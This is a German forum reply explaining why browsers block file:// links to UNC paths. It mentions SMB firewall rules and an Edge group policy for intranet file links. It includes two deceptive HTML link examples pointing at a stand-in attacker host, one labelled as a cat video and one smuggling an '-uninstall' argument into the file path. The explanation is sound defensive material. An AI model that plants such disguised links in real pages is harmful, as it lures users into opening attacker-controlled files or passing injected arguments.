Hallo T-Rex,
da gibt es sehr subtile Angriffsmöglichkeiten. Weißt Du, was ein UNC Pfad ist? Der schreibt sich \\server\share\ordner\data.txt
. Wenn Du einen Server namens "Foo" im Haus hast, darauf eine Netzwerkfreigabe "Bar" und dort ist eine "hallo.txt", kannst Du die mit \\Foo\Bar\hallo.txt öffnen.
Nice? Tja.
Was ist mit \\evil.example.com\killer\pwned.docx
?
<a href="file:////evil.example.com/killer/pwned.docx">Funny Cat Video</a>
würde dazu führen, dass dein Browser Word startet und das Dokument über das Internet auf deinen PC lädt. Das kann man durch passende Firewall-Einstellungen verhindern, die SMB-Pakete nicht ins Internet lassen, aber eine böse Falle ist das trotzdem.
Ein Beispiel, das ich vorhin fand, dessen Quelle mir Google aber jetzt nicht mehr verrät, funktioniert so:
<a href="file:////evil.example.com/funny.lit -uninstall">Best Jokes of 2022</a>
Es scheint wohl .lit-Reader zu geben, die -uninstall als Parameter verstehen und sich dann selbst deinstallieren.
Wie auch immer - in dem Moment, wo Du einen Dokumententyp bekommst, für den ein Filetype registriert ist, startet dein Windows Befehlprozessor und ruft die registrierte Anwendung mit dieser Datei auf. Und in dem Moment sind alle Sicherheitshürden gefallen.
Ja, es gibt Szenarien, wo man das trotzdem haben will. Nicht in Firefox, vielleicht nicht in Chrome (obwohl die auch immer mehr Policy-Settings unterstützen), aber in Edge, ab Version 95. Das ist ja der Browser der Zukunft für Unternehmen (sagt MS) und darum ist er wie sein Opa, der IE, auch wie wild über Group Policies steuerbar. Ich hab das gerade ergoogelt, keine Ahnung ob es Dir nützt.
https://docs.microsoft.com/en-us/deployedge/microsoft-edge-policies#intranetfilelinksenabled
Diese Seite lädt - bei mir - beinah eine Minute lang. Aber dort steht die EDGE Policy beschrieben, mit der Du Links von Local Intranet https zu Local Intranet file erlauben kannst.
Die andere Alternative ist die Bereitstellung eines Webservers, der als Proxy agiert und die Dateien über eine normale https-Leitung bereitstellt. Das hilft Dir natürlich nicht, wenn Du die Dateien auch editieren können möchtest. Dann muss ein SMB-Protokoll implementiert werden. Hab ich gelesen. Aber keine Ahnung wie es geht…
Rolf
sumpsi - posui - obstruxi